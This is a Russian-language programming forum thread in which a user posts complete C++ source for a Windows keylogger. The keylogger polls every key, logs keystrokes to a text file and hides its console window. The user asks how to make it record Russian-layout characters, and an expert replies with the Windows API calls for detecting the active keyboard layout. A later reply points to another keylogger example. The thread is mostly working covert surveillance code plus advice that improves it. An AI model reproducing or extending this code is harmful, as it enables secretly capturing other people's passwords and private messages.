Форум программистов, компьютерный форум CyberForum.ru
Наши страницы

С++ для начинающих

Войти
Регистрация
Восстановить пароль
 
Prizrak2016
1 / 1 / 0
Регистрация: 11.03.2016
Сообщений: 49
#1

Keylogger не работает с русской раскладкой - C++

25.04.2016, 08:25. Просмотров 490. Ответов 7
Метки нет (Все метки)

Все привет, для примера в инете нашел исходник кейлоггера, на англ все нормально пишет, а вот если стоит русская раскладка то оно записывает у файл англ символ, как можно сделать чтоб код понимал расскладку клавиатуры?
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include<iostream>
using namespace std;
#include<windows.h>
#include<winuser.h>
 
int save (int key_stroke, char *file);
void stealth();
int main()
{
    
    stealth();
    char i;
    
    while(1)
    {
            for(i = 8; i <= 190; i++)
            {
                  if (GetAsyncKeyState(i) == -32767)
                  save (i,"probe.txt");
                  }
                  }
                  
                  
    system("PAUSE");
    return 0;
}
/* *********************************************** */
/* *********************************************** */
int save (int key_stroke, char *file)
{
    if ((key_stroke==1)||(key_stroke==2))
    return 0;
    
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    cout<<key_stroke<<"\n";
    
    if (key_stroke==8)
     fprintf(OUTPUT_FILE, "%s" , "(backspace)");
    else if (key_stroke == 13)
     fprintf(OUTPUT_FILE, "%s" , "\n");
    else if (key_stroke == 32)
     fprintf(OUTPUT_FILE, "%s" , " ");
    else if (key_stroke == VK_TAB)
     fprintf(OUTPUT_FILE, "%s" , "(tab)");
    else if (key_stroke == VK_SHIFT)
     fprintf(OUTPUT_FILE, "%s" , "(shift)");
    else if (key_stroke == VK_CONTROL)
     fprintf(OUTPUT_FILE, "%s" , "(control)");
    else if (key_stroke == VK_ESCAPE)
     fprintf(OUTPUT_FILE, "%s" , "(escape)"); 
    else if (key_stroke == VK_END)
     fprintf(OUTPUT_FILE, "%s" , "(end)");
    else if (key_stroke == VK_HOME)
     fprintf(OUTPUT_FILE, "%s" , "(home)");  
    else if (key_stroke == VK_LEFT)
     fprintf(OUTPUT_FILE, "%s" , "(left)");
    else if (key_stroke == VK_UP)
     fprintf(OUTPUT_FILE, "%s" , "(up)"); 
    else if (key_stroke == VK_RIGHT)
     fprintf(OUTPUT_FILE, "%s" , "(right)");
    else if (key_stroke == VK_DOWN)
     fprintf(OUTPUT_FILE, "%s" , "(down)");
    else if (key_stroke == 190 || key_stroke == 110)
     fprintf(OUTPUT_FILE, "%s" , ".");
     else
     fprintf(OUTPUT_FILE, "%s" , &key_stroke);   
    fclose(OUTPUT_FILE);
    return 0;
}
/* *********************************************** */
/* *********************************************** */
void stealth()
{
     HWND stealth;
     AllocConsole();
     stealth = FindWindowA("ConsoleWindowClass", NULL);
     ShowWindow(stealth,0);
     
}
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
25.04.2016, 08:25
Здравствуйте! Я подобрал для вас темы с ответами на вопрос Keylogger не работает с русской раскладкой (C++):

Теоретический момент по Keylogger на C++ - C++
Есть код, копипастнутый с незначительными изменениями, это простейший Keylogger, есть два вопроса один практический другой теоретический. ...

Ошибка русской локализации? - C++
Функция strtod и русская локализация Так, решил я значит проверить работу функции strtod и запустил такой пример(vs15) Оппс,...

Вывод элементов русской строки - C++
Почему выводится строка, но элементы строки выводятся в виде знака ошибки? #include &lt;iostream&gt; #include &lt;cstring&gt; int main() ...

Как получить ASCII русской буквы - C++
Здравствуйте, подскажите как получить код ASCII русской буквы? К примеру std::cout &lt;&lt; static_cast&lt;int&gt;('а') // a-русская буква ...

Вывод даты в русской локализации (Linux) - C++
#include &lt;stdio.h&gt; #include &lt;time.h&gt; int main () { setlocale (LC_TYPE, &quot;ru_RU&quot;); time_t rawtime; struct tm * timeinfo;...

Графический символ ASCII в русской локали (консоль) - C++
Здравствуйте, нужно вывести символ \xB2 (заштрихованный прямоугольник) так все работает, но если объявить setlocale(LC_ALL,&quot;RUS&quot;) ...

7
Убежденный
Ушел с форума
Эксперт С++
15690 / 7200 / 1138
Регистрация: 02.05.2013
Сообщений: 11,637
Записей в блоге: 1
Завершенные тесты: 1
25.04.2016, 10:17 #2
Цитата Сообщение от Prizrak2016 Посмотреть сообщение
как можно сделать чтоб код понимал расскладку клавиатуры?
GetGuiThreadInfo -> GetWindowThreadProcessId -> GetKeyboardLayout
Получишь раскладку клавиатуры активного окна. Далее можно смотреть в
сторону ToUnicodeEx, например, или MapVirtualKeyEx. Или даже переложить
функцию трансляции скан-кодов на систему (TranslateMessage).
При этом подход не будет работать для консольных приложений.
2
Prizrak2016
1 / 1 / 0
Регистрация: 11.03.2016
Сообщений: 49
25.04.2016, 10:23  [ТС] #3
Мне и не нужно для концольных, мне нужен перехват при работе компьютера

Добавлено через 52 секунды
GetGuiThreadInfo -> GetWindowThreadProcessId -> GetKeyboardLayout
Получишь раскладку клавиатуры активного окна. Далее можно смотреть в
сторону ToUnicodeEx, например, или MapVirtualKeyEx. Или даже переложить
функцию трансляции скан-кодов на систему (TranslateMessage).
При этом подход не будет работать для консольных приложений.


Можешь пожалуйста привети пример как получиьть раскладку клавиатуры, а то не совсем понял
0
Убежденный
Ушел с форума
Эксперт С++
15690 / 7200 / 1138
Регистрация: 02.05.2013
Сообщений: 11,637
Записей в блоге: 1
Завершенные тесты: 1
25.04.2016, 11:40 #4
Цитата Сообщение от Prizrak2016 Посмотреть сообщение
как получиьть раскладку клавиатуры
Раскладка клавиатуры устанавливается отдельно для потока.
То есть, тебе нужно сначала узнать поток, обслуживающий активное на данный
момент окно. HWND активного в данный момент окна можно узнать с помощью
GetGUIThreadInfo. Далее нужно по этому HWND узнать ID потока, для этого
делается вызов GetWindowThreadProcessId. Теперь у тебя есть ID потока.
Ну а дальше - GetKeyboardLayout. На выходе у тебя будет идентификатор клавиатурной
раскладки для активного окна. Что делать с ним дальше - зависит от устройства кейлоггера.
0
Prizrak2016
1 / 1 / 0
Регистрация: 11.03.2016
Сообщений: 49
25.04.2016, 16:01  [ТС] #5
Получаеться что эти метлды просто нужно вывзвать в мейне?
0
notemac
27 / 27 / 4
Регистрация: 13.09.2014
Сообщений: 137
12.12.2016, 23:58 #6
DELETE
0
Prizrak2016
1 / 1 / 0
Регистрация: 11.03.2016
Сообщений: 49
13.12.2016, 00:48  [ТС] #7
Что DELETE?
0
notemac
27 / 27 / 4
Регистрация: 13.09.2014
Сообщений: 137
13.12.2016, 16:27 #8
Prizrak2016, пример keylogger'a, работающего с русской раскладкой Keylogger, неопределенное поведение, undefined behaviour
0
13.12.2016, 16:27
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
13.12.2016, 16:27
Привет! Вот еще темы с ответами:

Генерация случайных чисел, имитация Русской рулетки - C++
#include &lt;iostream&gt; #include &lt;iomanip&gt; #include &lt;cstdlib&gt; #include &lt;ctime&gt; using namespace std; int main () { ...

.NET 4.x Фильтрация символов при вводе. Ввод с русской раскладкой. - C#
Мне нужно ввести значение double в поле формы. Я настроил фильтрацию чтобы принимались только цифры и разделитель. Но возникла проблема - в...

Rails не работает с русской кодировкой - Ruby on Rails
Всем привет, прикрутил Devise, составил свою форму регистрации, при нажатии на кнопку зарегестрироваться, вылетает ошибка ...

Почему из-за русской буквы, стоящей после .+? неправильно работает RE? - Perl
Привет! Почему из-за русской буквы, стоящей после .+? неправильно работает RE? Дома в ActiveState Perl все работает правильно, а на...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
8
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2017, vBulletin Solutions, Inc.
Рейтинг@Mail.ru